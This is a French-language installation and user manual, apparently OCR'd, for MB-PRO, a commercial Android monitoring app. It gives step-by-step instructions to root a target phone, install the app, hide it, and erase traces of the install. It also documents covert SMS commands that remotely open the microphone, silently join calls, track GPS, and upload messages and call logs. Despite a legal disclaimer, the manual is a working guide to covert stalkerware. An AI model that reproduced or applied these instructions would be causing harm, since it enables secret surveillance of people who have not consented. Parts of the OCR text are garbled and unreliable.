Android - Manuel d’installation MB-PRO
Préalable

e MB Pro est compatible avec tous les téléphones disposant du systeme d’exploitation Android
jusqu’a la version 4.X

e Pour que le logiciel napparaisse pas dans la liste des applications, il est indispensable de
modifier les droits d’administration du téléphone Android.

IL NE FAUT PAS INSTALLER MB PRO AVANT D’AVOIR PU EFFECTUER LA PROCEDURE DE ROOT.

Pour cela, veuillez effectuer les démarches décrites dans le paragraphe “Procédure Root’' en
page 2

e Apres votre achat, vous avez recu un email contenant 3 informations importantes :

Le code d’activation, le code d’identification et le mot de passe.

e Le code d’activation est la clé du logiciel indispensable pour le téléchargement, I'ouverture
du logiciel et les commandes distantes du logiciel

e Le code d’identification et le mot de passe sont indispensables pour consulter les données
transmises par MB Pro vers votre espace personnel sur le site Promibs (ESPACE MB PRO).

* Vous devrez télécharger le logiciel MB-PRO directement sur le téléphone a équiper (nommé
téléphone cible).

e Le téléphone cible doit avoir un acces a Internet correctement configuré. Il devra également
étre paramétré pour les appels en conférence. Contacter votre opérateur si vous n’en étes
pas s(r.

e Aucun cable ni ordinateur n’est requis.

Définitions

MB-PRO : votre logiciel téléchargé a partir de I'adresse internet http://www.mobilebackup.biz/db/
sur le téléphone cible.

Root : Procédure a lancer prioritairement a l'installation de MB Pro pour pouvoir I'installer et
Iutiliser correctement

Code d’activation : Il s’agit du numéro de licence servant de code a I'activation. Ce code est recu lors
de I'achat.

Cible : Le téléphone dont on souhaite suivre I'activité. Le logiciel MB-PRO est a installer sur le
téléphone cible.

Moniteur : Le téléphone autorisé par MB-PRO a agir a distance et recevant les informations sur le
téléphone cible

Ecoute environnementale : Une écoute environnementale est la fonction permettant au moniteur
de se connecter a distance sur le téléphone cible et d’ouvrir son micro sans que cela ne soit visible
par les intervenants présents autour.

Ecoute conversationnelle : Cette fonction permet de savoir, par SMS, qu’une communication entre
la cible et un tiers vient de débuter et de I'écouter a distance.

Liste d’interception : La liste des numéros de téléphone paramétrée dans la cible faisant I'objet de
I’envoi d’'un SMS au moniteur si une communication est établie avec un de ses numéros.

Espace personnel : Le site internet vous permettant de connaitre les activités du téléphone cible. Le
code d’identification et le mot de passe recu lors de I'acquisition du logiciel vous permette d’accéder
au tableau des activités de la cible.
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Procédure Root

“Rooter” le telephone Android

Rooter un téléphone Android est la fonction qui attribue des droits d’administrateur a certaines
fonctions normalement sous contréle direct du systeme d’exploitation ou nécessitant I’action de
I'utilisateur. Rooter un téléphone Android s’avere indispensable pour que MB Pro ne soit pas visible
dans les applications.

Il n’y a aucun impact sur les fonctions normales du téléphone. Il sera toujours possible de revenir au
mode standard en reformattant le téléphone. Il n'y a rien d’autre a faire que de suivre la procédure
ci-dessous.

Pour connaitre la procédure adaptée au rootage du téléphone Android, nous vous recommandons de
faire une recherche sur le moteur de recherche Google en tapant :

Rooter XXXXX ou XXXXX est la marque et le modéle du téléphone. Si vous n’arrivez pas a obtenir
cette procédure, veuillez contacter notre service support au assistance@promibs.com
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Procédure d’installation rapide

IL NE FAUT PAS INSTALLER LE LOGICIEL AVANT D’AVOIR PU EFFECTUER LA PROCEDURE ROOT.

Téléchargement
1. Ouvrir votre navigateur internet sur le téléphone cible a I'adresse
http://www.mobilebackup.biz/db/ .
2. Entrer la code d’activation
3. Ne pas cocher sur “Change my Phone Type”
4. Presser sur Download

Installation & Permissions

Apres le téléchargement, pressez sur le nom du logiciel pour lancer I'installation

Note: Vous aurez peut étre le message “Autoriser I'installation d’'une source inconnue” qu’il faudra
autoriser

Aprés installation, pressez sur “Verify Permissions” pour ouvrir la page d’activation des permissions.

Activation
e Entrer votre code d’activation que vous avez recu et presser sur Activate

e Apres I'activation réussie du logiciel, pressez sur Hide Application” pour que MB Pro tourne
en mode indétectable. Plus de détails sur comment fonctionner en mode secret voir page 12

Procédure de désactivation

Envoyer la commande <*#72> par SMS pour “Deactivate’” de n‘importe quel mobile (voir les détails
de cette procédure en page 16

Procédure de désinstallation

Envoyer la commande “Uninstall” <*#74> de n’importe quel téléphone mobile vers le téléphone
cible (Voir les détails de la procédure en page 16)

*** pour supprimer totalement le logiciel, vous devrez d’abord envoyer la commande par SMS
pour Désactiver le logiciel (Commande Deactivate) immédiatement suivi de la commande de
désinstallation (Commande Uninstall) ***

La désactivation du logiciel supprimera tous les enregistrements se trouvant
dans votre Espace Privé MB Pro. Nous vous recommandons de les télécharger
au préalable.
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MANUEL D’UTILISATION POUR TELEPHONE SOUS ANDROID

MB-PRO fonctionne avec tous les téléphones disposant du systéme d’exploitation ANDROID version
1.6, 2.1 et 2.2.1. MB-PRO peut étre contrdlé a distance en utilisant des SMS

~ MB—PRQ t'ranémet
R les activités via
" Internet
MB-PRO
fonctionne sur le F
téléphone cible Tableau de bord affiche les activités de la cible :

SMS, appels émis et recus, Email, localisation. Ces
informations peuvent étre effacées a tout
moment

Le téléphone Moniteur écoute
I’environnement de la cible

Comment ¢a marche ?

Votre licence est valable 1 an (12 mois) a dater de la date d’activation. Durant cette période, vous
pouvez installer MB-PRO sur autant de téléphones que vous le souhaiterez sous réserve que le
téléphone installé dispose du méme systéme d’exploitation, la licence ne pouvant étre active que sur
une cible a la fois. Pour activer un nouveau téléphone, vous devez, au préalable, désactiver MB-PRO
de la cible précédente.

Aprés l'installation de MB-PRO sur la cible, les SMS, connexions téléphoniques, Email sont
sauvegardés sur la cible puis sont transférés sur le compte Internet selon une périodicité ou un
nombre d’activités paramétrable.

Leur consultation est alors possible en se connectant sur http://www.mobilebackup.biz/ et en
entrant le code d’identification et le mot de passe recus lors de I'acquisition de MB-PRO.

Pour permettre I’écoute environnementale ou conversationnelle, vous devez préciser au téléphone
cible le numéro du moniteur.

En appelant avec le moniteur, le micro de la cible s’ouvre discrétement sans que son apparence
change et le moniteur peut ainsi entendre les conversations dans I'environnement de la cible.
Concernant I’écoute conversationnelle, le processus est le méme sauf que le moniteur est informé
d’un appel par SMS si le numéro de I'interlocuteur figure dans la liste d’interception. Le moniteur n’a
plus qu’a appeler la cible pour se retrouver dans la conversation sans que les interlocuteurs ne s’en
apercoivent. L’arrét de I’écoute se fait aussi discretement en pressant sur la touche fin d’appel du
moniteur.

Il est important de couper le micro du moniteur dans le cas d’'une écoute conversationnelle sans
quoi les interlocuteurs de I’appel pourront entendre I’environnement du moniteur.
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Les logiciels MB-PRO sont vendus a des entreprises ou particuliers, propriétaires des téléphones mobiles
dont ils souhaitent contréler I'utilisation. Cette utilisation n’est autorisée que dans la mesure ou elle est
effectuée en conformité avec les lois en vigueur dans le pays sur le respect de la vie privée d’autrui.

Du fait de risque de détournement, il est de la responsabilité de l'utilisateur du logiciel MB-PRO de vérifier
gue son utilisation obéit a toutes les lois applicables dans son pays et dans celui dans lequel le logiciel
est utilisé. En particulier, il est interdit de I'exploiter & des fins qualifiées de sournoises, a I'insu de la
personne utilisatrice du téléphone. Si vous étes dans le doute, consultez votre avocat avant d'utiliser nos
produits.

En téléchargeant et installant MB-PRO sur un téléphone, vous reconnaissez étre propriétaire du mobile et
gue son abonnement auprés d’'un opérateur de téléphonie mobile est a votre nom. Il n’est pas suffisant
d’étre seulement le détenteur de I'abonnement ou seulement le propriétaire du mobile. Vous
reconnaissez également que l'utilisation que vous en ferez sera, en tous points, conforme a la législation
en vigueur dans votre pays et dans le pays ou il pourra ou sera utilisé.

Enregistrer des SMS, écouter des conversations, lire des Emails, localiser la position d’'un mobile sont
des activités interdites si elles sont pratiquées sur des téléphones appartenant a d’autres personnes
physiques ou morales et/ou si les personnes utilisatrices du téléphone équipé de MB-PRO ne sont pas
informés par écrit et que leur accord n'a pas été clairement donné également par écrit et sans contrainte
et en toute connaissance de cause. Dans le cas ou ces dispositions ne sont pas prises, la personne
physique ou morale pratiquant ces activités reconnait sa culpabilité dans la pratique d’activité illégale en
matiére de violation de la vie privée d’autrui. Elle sera passible des peines que le code pénal de son pays
précisera en la matiére.
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Installation Complete

IL NE FAUT PAS INSTALLER LE LOGICIEL AVANT D’AVOIR PU EFFECTUER LA PROCEDURE ROOT.

Opération de téléchargement
Le téléchargement nécessite I'internet sur votre téléphone.

Pour télécharger MB-PRO, vous devez :
1. Ouvrez le navigateur Web
2. Entrez http://www.mobilebackup.biz/db/ dans le navigateur et pressez Allez a. Ceci va ouvrir
la page Web dans laquelle s’affiche la zone de saisie du code d’activation et le bouton
Download
3. Apparait sur I’écran du téléphone une zone indiquant : Enter your activation Code :
4. Dans la zone correspondante, saisissez au clavier le code d’activation qui vous avez regu par
Email apres I'achat.

5. Déplacez le pointeur sur la zone Download
qui, lorsqu’elle est accessible, s’entoure d’un liseré et
cliquez dessus pour lancer le téléchargement.

6. Une fois le, cliquez sur I'application nommée “FSXGRAD_1-1.XX.XX.apk”.

January 4, 2011 ih /) @@ 15:45
DTAC | Clear

USB debugging connected
Select to disable USB debugging.

Ed usB connected
Select to copy files to/fram your computer.

Notifications

L. FSXGRAD_1-1.00.750.apk
Download complete 15:45

F4 system update available
View update details. 15122

4 e |
7. Sivous n’avez pas encore installé d’applications hors de I’Android Market, le message suivant

apparaitra. Pressez sur “Settings”’. Note: si I'écran ci-dessous n’apparait, sautez a I'étape 11

Page 6



8. Choisissez I'option “Sources inconnue” en mettant une coche sur la droite

9. Pressez sur “OK”

( Install blocked

For security, your phone is set
to block installation of
applications not obtained
from Android Market.

Seltings

QE> 3+ =% 5 XN 507PM
Application settings

Unknown sources a

et

Manage applications

Development

QBE - ¥ § 2 7% & 507PM

A\ Attention

Your phone and personal data are
more vulnerable to attack by
applications from unknown sources.
You agree that you are solely
responsible for any damage to your
phone or loss of data that may result
from using these applications.

(6]1¢ Cancel

10. Vous devriez voir apparaitre la page de I'historique de téléchargement. Le fichier que vous

venez de télécharger doit s’y trouver. Cliquez sur I'application nommée “FSXGRAD_1-

2.XX.XX.apk”.
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EHREEO B @ 19:26

11. Cliquez sur Install pour lancer I'installation
BEaO G i1 @B 15:47

Do you want to install this
application?

Allow this application to:

© showall

d Install u Cancel L\'

12. Cliquez sur Open
BEO A B 1548

Application installed

J Open I Done

INote: Si vous cliques sur “Done” par erreur, vous serez ramené a
I’écran d’accueil. De cet écran, vous devrez presser sur la touche Menu puis choisir “All
Programs’’ puis cliquez sur I'icéne “Sync Bin”. Apres I'activation, I'icone sera cachée.

13. Cliquez sur Vérifier les persmissions (Verify Permissions)
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] &] H F @ 1645

SyncBin

Congratulations! You are just
one step away. The product
needs to verify permissions in
order to work properly. Press
the button below.

| Verify Permissions

Si le Message : “Cannot acquire root permission, please check your device” apparait, cela signifie que
le téléphone n’a pas été “rooter”’, vous ne serez pas en mesure d’installer MB Pro avant d’avoir
effectué cette procédure — voir en page 2

Activation
1. Apres la vérification des permissions, apparait I'écran d’activation. Entrer votre code

d’activation fourni lors de votre achat et presser sur “Activate Product”
]@] B fll & 16:48
fsynesin |

Product is not yet activated.
Enter Activation Code and
press Activate Product.

Code

I Activate Product |

2. Presser sur “Hide Application” pour finir la procédure d’installation
[v]a] E & 16:51
-

Product is now activated. To
hide application press Hide
Application.

| Hide Application |
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Comment rendre MB Pro indétectable

Pressez sur le bouton “Hide Application” apres I’activation du logiciel. MB Pro ne sera plus
détectable dans le téléphone.
ATTENTION, si vous ne pressez pas sur “Hide Application, MB Pro restera visible.
Supprimer le fichier du programme et effacer I'historique du navigateur Internet.
Pour faire cela, il vous faut ouvrir le navigateur internet
> Presser sur Menu
> Presser sur Plus
> Choisissez “Téléchargements”’
Vous verrez le fichier d’installation “ANDA_X.XX.XX.apk”. Restez pressé sur cette entrée jusqu’a ce
gu’un menu fasse apparaisse I'option “Effacer de la liste et supprimer”
Aller dans I’historique du Web et supprimer le lien http://www.mobilebackup.biz/db.
Pour le faire, vous devez :
> Choisir Menu
> Choisir Plus
> Choisir Historique
> Vous verrez le lien http://www.mobilebackup.biz/db . Restez pressé sur cette entrée jusqu’a
ce qu’un menu fasse apparaisse I'option “Supprimer de I'historique”
Pour rendre discrete la procédure root, aller au paragraphe Procédure root en page 2 le point 13

Configuration de MB Pro

MB Pro ne se présente pas comme un programme habituel. En effet, il n’existe pas d’interface
utilisateur. La seule maniére d’agir sur le logiciel est par I’envoi de commandes SMS vers le téléphone
Android cible. Ces commandes sont totalement invisibles pour le téléphone Cible. Elles ne sont
possibles qu’apres que le logiciel ait été activé.

Par défaut, MB Pro capture les sms, liste des appels et les emails. Les données sont envoyées toutes
les 10 captures ou toutes les heures —au premier atteint. L’écoute environnementale, I'interception
de communication et le suivi par GPS ne fonctionnent qu’apres I'envoi des commandes SMS
correspondantes.

Commandes SMS distantes
Si ces commandes sont correctement libellées, elles n’apparaitront pas sur le téléphone cible. Elles
sont valables pour toutes les versions de MB Pro pour téléphones Android

La structure de ces commandes contient éléments : I'entéte, I'identifiant, puis les parametres et
envoi la quittance :

L’entéte est composé d’un nombre précédé de *# et I'ensemble est délimité par le < avant I'entéte et
le signe > a la fin

Par exemple, le sms de commande pour activer I'écoute environnementale devra commencer par
I'entéte : <*#10>

L'identifiant contient toujours le code d’activation qui vous a été fourni lors de votre commande. Ce
code est également celui que vous avez utilisé pour l'installation. Il doit étre précédé du signe < puis
terminé par un >

Les parametres sont fonctions des commandes

La quittance est toujours <D> et ne doit étre rajouté a la fin de la commande que si vous souhaitez
que le logiciel installé dans la cible vous envoie un sms pour vous confirmer le bon déroulement de la
commande.
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Fonctions Principales de MB-PRO

Utilisation du GPS

MB-PRO dispose de toutes les fonctionnalités pour servir d’outil de géolocalisation.

Cette fonction a pour objet de répondre a la question : Est-ce que le mobile se trouve bien a I'endroit
ou il est supposé étre ?

Pour fonctionner, le téléphone cible doit se trouver a I'extérieur afin de pouvoir se connecter aux
satellites GPS. A l'intérieur d’un appartement, en général, le GPS ne fournit aucune donnée. D’autre
part, nous vous recommandons de n’utiliser la fonction GPS seulement quand cela vous parait
opportun. En effet, le GPS réduit 'autonomie du téléphone. Le résultat obtenu est fonction de la
fréquence avec laquelle les points GPS sont capturés. Plus la fréquence est grande, meilleure sera la
précision.

Activation du GPS

La fonction GPS peut étre activée et désactivée a distance

Voici la commande d’activation :

<*#52>

Pour activer le GPS, il vous faut envoyer la commande suivante :
<*#52><codeactivation><1><X><D>

<codeactivation> est le code qui vous a été fourni pour I'activation du logiciel
<X> est a remplacer par:

0 - Off

1-10sec
2-30sec
3-1mn
4-5mn
5-10 mn
6-20 mn
7-40 mn
8-60 mn

<D> est a rajouter si vous souhaitez que MB Pro vous confirme la bonne fin de la commande par un
sms en retour.

Désactivation du GPS
Il vous suffit d’envoyer la commande suivante par sms au numéro de la cible :
<*#52><codeactivation><0><0><D>

Obtention des coordonnées GPS sur demande

La commande <*#101> permet d’obtenir ponctuellement les coordonnées GPS
Voici I'instruction a envoyer par sms a la cible :

<*#101><codeactivation><D>

Utilisation de I’écoute environnementale

Cette fonction permet d’entendre I'environnement du téléphone cible sans que I'apparence du
téléphone ne change.

Comment ¢a marche ?

MB-PRO compare le numéro d’appel avec le numéro enregistré comme moniteur dans la parte Call
du paramétrage. Si le numéro correspond, MB-PRO ouvre le micro en s’assurant d’inhiber les autres
fonctions d’affichage et le micro de la cible. De cette maniere, le moniteur entendra les sons autour
du téléphone en toute discrétion.

Activation de I’écoute environnementale
Pour activer I'’écoute environnementale, il vous faut envoyer le sms suivant a la cible
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<*#10><codeactivation><D>
Aprés I'envoi de cet sms, tous les appels non masqués que vous ferez a la cible ne lui seront pas
signalés pour vous permettre d’écouter I’environnement du téléphone

Désactivation de I’écoute environnementale

Pour désactiver I’écoute environnementale, il vous faut envoyer le sms suivant a la cible
<*#20><codeactivation><D>

Aprés I'envoi de cet sms, tous les appels que vous ferez a la cible lui seront signalés normalement

Comment modifier le numéro du moniteur a distance ?

Vous pouvez le faire en envoyant un SMS au numéro de la cible. Le corps du SMS doit étre composé
de la maniere suivante :

<*#10><code d’activation><nouveau huméro moniteur>

Le numéro moniteur doit IMPERATIVEMENT étre libellé au format international.

Prenons un exemple :

Si le nouveau numéro moniteur est le 0612345678, il vous faudra remplacer le premier 0 par le code
du pays précédé du +.

Par exemple, pour la France, le numéro moniteur devra étre libellé : +33612345678

Par exemple, pour la Suisse, le numéro moniteur devra étre libellé : +41612345678

Par exemple, pour la Belgique, le numéro moniteur devra étre libellé : +32612345678

Pour vous assurer de la modification du numéro du moniteur, il vous suffit de demander le rapport
d’envoi du SMS. N’utilisez pas les cartes prépayées ou Skype car I'identifiant d’envoi n’est pas
conforme.

Utilisation de I’écoute conversationnelle

Cette fonction permet I’écoute discréte d’une conversation téléphonique entre la cible et un tiers.
Vous devez entrer les numéros des tiers dont vous souhaitez écouter la conversation dans la liste
d’interception. Cette liste est accessible sous le nom de Watch list

Comment ¢a marche ?

MB-PRO compare le numéro d’appel avec la liste d’interception. Si le numéro y figure ou si la liste
d’interception est en mode “Tous les appels”’, un SMS est envoyé au moniteur immédiatement pour
I'informer du début de la conversation. Le moniteur doit appeler la cible, en prenant bien soin de
couper son micro, pour entendre la discussion entre la cible et son interlocuteur.

Précaution a prendre : La fonction “Conférence’ doit étre activée sur le téléphone cible.

Activation de I’écoute environnementale

Vous pouvez activer I'interception de tous les numéros ou de seulement quelques numéros mis dans
la watch list ou des numéros privés en envoyant un SMS au numéro de la cible. Le corps du SMS doit
étre composé de la maniére suivante :

<Clé activation><Valeur 0,1 ou 2>

Si vous mettez :

0 —vous désactivez la liste

1 —vous activez la liste actuelle

2 —vous activez tous les numéros

Pour vous assurer de la modification du numéro du moniteur, il vous suffit de demander le rapport
d’envoi du SMS. N’utilisez pas les cartes prépayées ou Skype car I'identifiant d’envoi n’est pas
conforme.

Activation des numéros a intercepter

Vous souhaitez étre alertés seulement des conversations établies entre la cible et certains numéros
bien précis. Pour cela, il vous faut d’abord envoyer le sms de commande qui active la liste :
<*#50><codeactivation><1>
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Voici I'instruction a envoyer par sms pour ajouter des numéros dans la liste

ATTENTION, chacun des numéros doit étre paramétré au format international :

Prenons un exemple :

Si le nouveau numéro moniteur est le 0612345678, il vous faudra remplacer le premier 0 par le code
du pays précédé du +.

Par exemple, pour la France, le numéro moniteur devra étre libellé : +33612345678

Par exemple, pour la Suisse, le numéro moniteur devra étre libellé : +41612345678

Par exemple, pour la Belgique, le numéro moniteur devra étre libellé : +32612345678

Voici I'instruction a envoyer par sms pour paramétrer les numéros a activer dans la liste
d’interception :

<*#50><codeactivation><+33699555555,+33696666666><D>

Les numéros peuvent étre mis a la suite en les séparant par une virgule comme dans I'exemple ci-
dessus ou les numéros 0699555555 et 0696666666 déclencheront I'envoi d’un sms vers le moniteur
pour I'informer du début d’'une conversation.

Liste des commandes distantes par SMS
Vous trouvez ci-dessous les commandes qui permettent la modification du paramétrage de MB-PRO
a distance grace a I'envoi d’'un SMS invisible sur la cible.

Commande de paramétrage général

<*#63><code d’activation><Capture><Timer><Nombre de capture><Données a capturer><Rapport>
<Capture> entrez 0 pour arréter la capture de données — 1 pour démarrer la capture des données
<Timer> entrez un nombre entre 1 et 24 pour paramétrer la période d’envoi des données au serveur
<Nombre de capture> Entrez une valeur entre 1 et 500 pour paramétrer le nombre de captures a
envoyer en une fois.

<Données a capturer> Permet de paramétrer si vous souhaiter capturer les « SMS »,

« Communications », « Email », «GPS», « IM ». Si vous activez la capture, mettez 1 si vous désactivez
la capture, mettez 0. Prenons I'exemple <1,1,1,0,0> cela signifie que vous souhaitez capturer les SMS
et les communications et les Emails mais pas la localisation GPS ni les messageries instantanées.
<Rapport> Mettez D si vous souhaitez obtenir un SMS de confirmation.

Pour que toutes les données vous parviennent immédiatement, voici la commande a envoyer :
<*#63><codeactivation><1><1><1><1,1,1,1,1><D>

Pour que les données vous parviennent une fois par jour, vous devez envoyer la commande
suivante :
<*#63><codeactivation><1><24><500><1,1,1,1,1><D>

Tableau des commandes

Les commandes et instructions sont a mettre entre <> dans le SMS.

Le code d’activation est celui qui vous a été envoyée lors de I'acquisition de MB-PRO. La demande de
rapport est optionnelle.

Si vous envoyez <D> dans le corps du SMS, vous recevrez en retour un SMS de confirmation du bon
ou mauvais déroulement de I'action.

Si j’envoie le SMS suivant :

<*#10><123456789><+336123456><D> : cela signifie que la cible dont la code d’activation est
123456789 va avoir son numéro moniteur changé pour le +336123456 et que je vais recevoir un SMS
de confirmation.

| Commande | Code activation | Rapport Description
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(Opt)

<*#10> <Code activation><Numéro moniteur> <D> Permet de changer le numéro du
moniteur

<*#10> <Code activation> <D> Active les fonctions d’écoute
environnementale,
conversationnelle avec le numéro
moniteur déja actif.

<*#20> <Code activation> <D> Désactive les fonctions d’écoute
environnementale,
conversationnelle

<*#50> <Code activation><Valeur 0,1 ou 2> <D> Agit sur la liste d’interception
Si vous mettez :
0 — vous désactivez la liste
1 —vous activez la liste actuelle
2 —vous activez tous les numéros

<*#50> <Code activation><numéro téléphone> | <D> Ajoute le numéro a la liste
d’interception

<*#51> <Code activation> <D> Efface tous les numéros de la liste
d’interception

<*#52> <Code activation><Valeur 0 ou <D> Active/désactive et change la

1><Timer> période d’acquisition des

positions GPS
0 — désactive
1 - active
0-1-2-3-4-5-6-7-8
Pour :
off -10s —30s —1mn—-5mn - 10
mn —20 mn - 40mn -60 mn

<*#60> <Code activation> <D> Pour activer la capture des
données

<*#61> <Code activation> <D> Pour désactiver la capture des
données

<*#67> <Code activation> N/A Pour obtenir un diagnostic de la
cible

<*#64> <Code activation> <D> Pour obtenir I'envoi immédiat des
données capturées au serveur
(Tableau de bord)

<*#72> <Code activation> <D> Pour désactiver le logiciel a
distance
Attention tous les
enregistrements de votre espace
personnel MB Pro seront
supprimés

<*#74> <Code activation> <D> Désinstalle le logiciel MB Pro
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Version Systeme et Information
Les informations ci-dessous contiennent des informations de diagnostic qui pourraient vous étre
demandées par le support en cas de probléme. Pour les obtenir, il vous suffit d’envoyer un SMS de
commande libellé de la maniére suivante : <*#67><code activation> au numéro du téléphone
disposant de MB-Pro. Vous recevrez en retour un message texte dont les explications vous sont

fournies sur le tableau de droite.

Lt =) EEI Sl B LT Ll B el
—

15> +H81234567 59
1£:na

15:0

17-52018
13-0TAC

19:-0.00

P

#1-0.00

18] Descrplion Formal Sampk
g Application |0 Version [0y, Yersion]
1=14,1.0
= Crevica Type SmantPhone (5P) [ PockstPC (PPC)
P
o Devwiza LS warsion S
oS Spy Cal and Watch List WakhLEtStahs, SpyCallStatus |
infommation bonitorMumbsar
1 for Enablke ard 0 for disabls
1, 1, DR 2345678
B Capture On or CFf B
n Eventto Capturs [BMS, GALL, EMAIL L2, GPE]
1 for Enalde ard © for Disakle
G, 1, 0,0,0
T SRS TR [EMS Tn, WS G
T=2012
i Woize Call In'CutMissad [, Court, Miszad)
12,32, 20
e LOC Berank, System [LOEGPS, Sys]
Event £ B50,0
10k EMAIL infout [, Churt]
100,32
11 bax number of events 1110
12 Timar 12=*
Mote: * stand for Mot &vailable
1 5 Manitor Mumber 1 5t 1234 567 E201
1 Last Conmection Time [y sk, tthnim), LastAPH-Lsad
1o 2007-11-21, 12k, DTAC-
Internat
150 Rasponse Code 1553124
17 TUPLE for current net- 15 52018
waork oparator
1 B MNataok Mama 18 DTAZ
18 Ciata Baze size 1832445 in KB
bl Install Cirive B
Mite: * stard for NEA
21 Fras Memory 2132452 in KB

Nous vous recommandons de lancer le diagnostic du programme avant d’appeler le service support
de maniére a vous apporter une aide plus effective.
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Tableau de bord des données
Pour suivre les activités du téléphone cible, vous disposez d’'un compte internet a I'adresse
http://www.mobilebackup.biz dans lequel vous aurez a saisir le code d’identification et le mot de

passe qui vous a été envoyé par email lors de I'achat.

GPS
Cette page vous affiche : Location - L Search : Un Tracking : La
Email : Les ocadlon ', €s requéteur vous carte des
courriéls ;oolr oIrTnet(‘es permettant itinéraires
isation .
L .. € localisatio d’effectuer des suivis par la
Voice : Les emis et en provenance : .

; recherches fines cible. .
communica regus des antennes My Profile :
tions relais les
recues Les System : Les module vous d’acces et

S,M_S messages pler,mettant de d’obtention
f\ll ;Tout,es émis et générés par '(cjelecflarger Vos des données
regus s onnées .
es donnees ¢ ! le systéme L capturées
0 0 0 o i X 0 Pro
: Row Per Page I

i [}

() 1} 11

LJ = |}

= i}

£ iB

L I}

LI 08 |

[ ] ~- 1} |

ko 0B |

Cil = 13

LJ 03
x Delste| | % Refresh (5'5 Repor Sefling Firzt | Previg 2|3 % 3| Mext | Last
Descriptio
By Incoffa  En Oflging 5 Misl bd Nom du contact si connu dans le

téléphone cible sinon le numéro de ||
téléphone
Durée de la La date et I'heure a laquelle I'activité
communication a été démarrée et la date et I'heure
i du serveur au méme moment

Sens de la communication

Type de communication :

Voice pour Voix
SMS pour SMS

Email pour courriel

Loc pour localisation par antenne relais
Map pour localisation par GPS visible dans GPS tracking
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Fonction Search

Advanced Search Option

Search this phone: !—-.5.'[_[ _v:l

For this keyword: | | Imthis categary: | ALL ::I

In this direction: | ALL -1

| gearch || Form Reset |

Search this phone : En choisissant la liste déroulante, vous trouverez le N° IMEI des téléphones
cibles.

For this Keyword : vous permet de chercher toutes les captures comportant le mot que vous aurez
saisi dans la zone.

In the category : vous avez le choix de chercher le mot dans —ALL toutes les captures — Contents
seulement les contenus — Contact name or Cell ID nom de contact ou antenne relais — Contact
number numéro de téléphone des contacts.

In this direction : Pour ne chercher que dans ALL tous les appels — Incoming seulement les appels
entrants — Outgoing seulement les appels sortants — Missed seulement les appels manqués

Date from - Date To : Entrez la plage de date

Search : Lancer la Recherche

Form Reset : Mise a zéro des zones de recherche

Information sur les appels
IMEL: 2785951535305
Client Time:  Th03.0% 1481301
Server Time: 140809121734
Event Type:: WOICE
Direction:  2UT
Duration: 0:04:46
Phone Mumber: 0230655515
Contact Mame:  Dominigue

back

IMEI : N° unique d’identification du téléphone cible. S’obtient en tapant *#06# sur le clavier du
téléphone mobile

Client Time : Date et heure de la communication sur le mobile

Server Time : Date et heure de la communication sur le serveur

Event type : Type de capture Voix

Direction : OUT appel sortant IN appel entrant

Duration : Durée de 'appel

Phone number : Numéro de l'interlocuteur

Contact name : nom du contact sur le téléphone
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Information sur les SMS

IMEL 2785851535353094
Client Time, 140808 12:16:45
Server Time: 140809 10:35:24
Evert Type:  ShS
Direction: . ©UT
Phore Mumber: 003951-531 2216
Contact Mame:

Contentz:  Sommes toujours dans lattente de votte devis. Le chartier démarre
danz un mois!
IMEI : N° unique d’identification du téléphone cible. S’obtient en tapant *#06# sur le clavier du
téléphone mobile
Client Time : Date et heure de la communication sur le mobile
Server Time : Date et heure de la communication sur le serveur
Event type : Type de capture SMS
Direction : OUT appel sortant IN appel entrant
Phone number : Numéro de l'interlocuteur
Contact name : nom du contact sur le téléphone
Contents : Contenu du message

Exportation des données

Generate Report

Searchthis phone: | ALL ~1
For this keyweord, | |In this category: | ALL 2 |
nthis everttype | ALL =]
Inthis direction: [aLL o]
DateFrom [Day =f[month  =f[vear =fDatefo[Day «f month  <][vear -]
Dowenload Az % poy " RTE o
!_D-:-wnl-:-ad || Form Rezet |

Search this phone : En choisissant la liste déroulante, vous trouverez le N° IMEI des téléphones
cibles.

For this Keyword : vous permet de chercher toutes les captures comportant le mot que vous aurez
saisi dans la zone.

In this direction: vous avez le choix de chercher le mot dans —ALL toutes les captures — VOICE les
communications téléphoniques - SMS les SMS envoyés et recus — EMAIL les Emails envoyés et regus
— LOC les localisations des antennes relais — SYSTEM les instructions et controles distants

In this direction : Pour ne chercher que dans ALL tous les appels — Incoming seulement les appels
entrants — Outgoing seulement les appels sortants — Missed seulement les appels manqués

Date from - Date To : Entrez la plage de date

Download as : Format de sortie des données CSV lecture sur tableur- RTF lecture sur traitement de
texte — XML traitement informatique

Download : Lancer 'exportation

Form Reset : Mise a zéro des zones de recherche
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